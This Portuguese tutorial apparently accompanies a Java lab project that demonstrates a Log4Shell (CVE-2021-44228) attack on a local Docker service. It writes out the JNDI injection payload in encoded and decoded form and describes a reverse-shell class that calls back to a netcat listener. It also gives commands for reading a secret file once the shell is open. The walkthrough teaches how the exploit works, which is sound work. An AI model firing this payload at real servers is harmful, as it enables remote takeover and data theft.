
Apresenta como explorar a vulnerabilidade CVE-2021-44228.
Um projeto baseado em Java que apresenta como explorar a vulnerabilidade CVE-2021-44228.
jdk1.8.0_181 criado durante a extração.make all para construir todos os projetos e criar uma imagem Docker com o serviço vulnerável.make start-vulnerable-service para iniciar um contêiner Docker executando o serviço a ser explorado. O serviço estará acessível através da porta 8080 da máquina localmake start-nc para iniciar um listener TCP que aguardará a conexão com o servidor invadido ser estabelecida.make start-exploiter para iniciar o programa que nos ajudará a explorar a vulnerabilidade.make start-nc foi executado). Você pode ter recebido uma mensagem como Connection received on 172.24.0.2 46638 (o endereço IP e a porta TCP podem não ser os mesmos apresentados aqui). Isso significa que a exploração funcionou e agora temos um shell conectado ao servidor/contêiner Docker.Antes de responder a isso, vamos dar uma olhada nos processos criados ao longo do fluxo.

Este contêiner Docker servirá um serviço HTTP simples responsável por receber requisições GET no caminho /log com um parâmetro input. Uma vez recebido, ele registra a entrada no console.
Para explorar a vulnerabilidade, algumas configurações específicas são necessárias:
1.8.0_181. Isso é necessário para permitir que uma classe Java seja carregada de um serviço externo.spring-boot-starter-logging:2.6.1 por spring-boot-starter-log4j2:2.6.1. Este último traz log4j-core:2.14.1 para o projeto, que é uma versão vulnerável ao CVE-2021-44228.
1.8.0_181.Não há explicações ou ajustes importantes aqui. Este é um programa simples usado para ler e escrever dados através dos protocolos TCP e UDP. Nós o usaremos para manter a escuta de conexões TCP de entrada na porta 9001 (algo mais abrirá essa conexão para nós no lado do servidor. 😉).
Uma vez que a conexão é estabelecida, todos os dados recebidos serão exibidos no console. Além disso, toda entrada escrita será enviada através desta conexão.
Agora é onde a diversão começa!
Este programa encapsula várias etapas necessárias para explorar a vulnerabilidade. Vamos detalhar:
Para executar este programa, precisamos informar três parâmetros:
Assim que o programa iniciar, ele escreverá um código Java baseado em um template. Este template requer dois argumentos: O endereço IP e a porta do Netcat.
Uma vez escrito o código, o programa o compilará em um arquivo de classe binário usando o compilador Java (javac) versão 1.8.0_181. Isso é importante para manter a mesma versão de código do serviço explorado.
A classe Java de exploração tem uma estrutura bastante simples. Em seu construtor, há uma instrução solicitando ao sistema operacional que crie um programa shell. Uma vez criado, a classe abre uma conexão TCP com o Netcat, vincula as entradas e saídas do shell e da conexão TCP e prende a execução da máquina virtual Java em um loop até que a conexão seja fechada pelo Netcat. Assim que sai do loop, o construtor continua como se nada tivesse acontecido.
O explorador abre um subprocesso solicitando a execução do programa Java Marshalsec. O programa Marshalsec está disponível no projeto Github mbechler/marchalsec.
Juntamente com outras funcionalidades, ele gerencia requisições LDAP e pode ser usado para solicitar que conexões recebidas resolvam requisições baixando classes Java de uma fonte externa. No nosso caso, vamos usá-lo para solicitar que conexões recebidas baixem nossa classe Java Exploit do serviço HTTP.
Assim que o programa explorador criar a classe Java manipulada, ele iniciará um serviço HTTP com uma única resposta: A classe Java binária de exploração.
Resumindo, quando o serviço vulnerável solicitar que a classe externa seja carregada, este serviço lerá o arquivo binário da classe Java e o enviará de volta ao serviço vulnerável. Simples assim!
Assim que tudo estiver funcionando, o programa então exibirá a requisição HTTP necessária para acionar a exploração. Simplesmente copie e cole no seu navegador favorito ou use curl em um terminal, o que funcionar melhor para você!
A requisição será algo semelhante a isto:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Como os parâmetros da consulta contêm caracteres especiais, eles precisam ser codificados para que o navegador os aceite. Se decodificarmos, a mensagem será:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Aqui está um diagrama simplificado do que acontece assim que a requisição é enviada:

Vou tentar usá-lo para explicar o que acontece a seguir:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 usando a chave a (um nome distinto LDAP bastante sem graça e inválido, mas, ei, desde que funcione...). O log4j então envia uma requisição para este endereço com a intenção de recuperar o valor.Observação: host.docker.internal é um endereço válido do serviço Docker para alcançar a máquina física onde está sendo executado.
host.docker.internal:8000 com o nome Exploit para resolver a requisição.host.docker.internal:8000 pedindo para obter um recurso disponível no caminho /Exploit.Exploit.Exploit().Exploit() inicia um programa shell no servidor e solicita que um canal TCP seja aberto com host.docker.internal:9001.Exploit() então vincula as entradas e saídas do shell com a conexão TCP e prende o thread da Máquina Virtual Java em um loop até que a conexão TCP seja fechada pelo outro lado.A definir
Projeto Github kozmer/log4j-shell-poc - Ajudou-me a entender como a exploração funciona. Obrigado a todos que contribuíram para este projeto!
Projeto Github mbechler/marchalsec - Eu não seria capaz de trabalhar com comunicação LDAP e redirecionamento tão rapidamente quanto fiz sem este projeto. Obrigado, pessoal!
Vídeo sobre Vulnerabilidade Log4j do SrcCodes - Um vídeo bem explicado apresentando como iniciar a exploração em um programa baseado em Spring.
Vídeo de demonstração da exploração CVE-2021-44228 do Nowcomm - Um bom vídeo explicando como explorar o CVE-2021-44228 no Apache Solr. Tive que assistir a segunda metade cerca de uma dúzia de vezes para entender o que estava realmente acontecendo! 😛
whoami. Você pode receber root como saída.cat ../private-directory/my-secret-file.txt para ver o que acontece. 🙂CTRL+C para fechar a conexão.CTRL+C nos outros terminais para interromper os processos.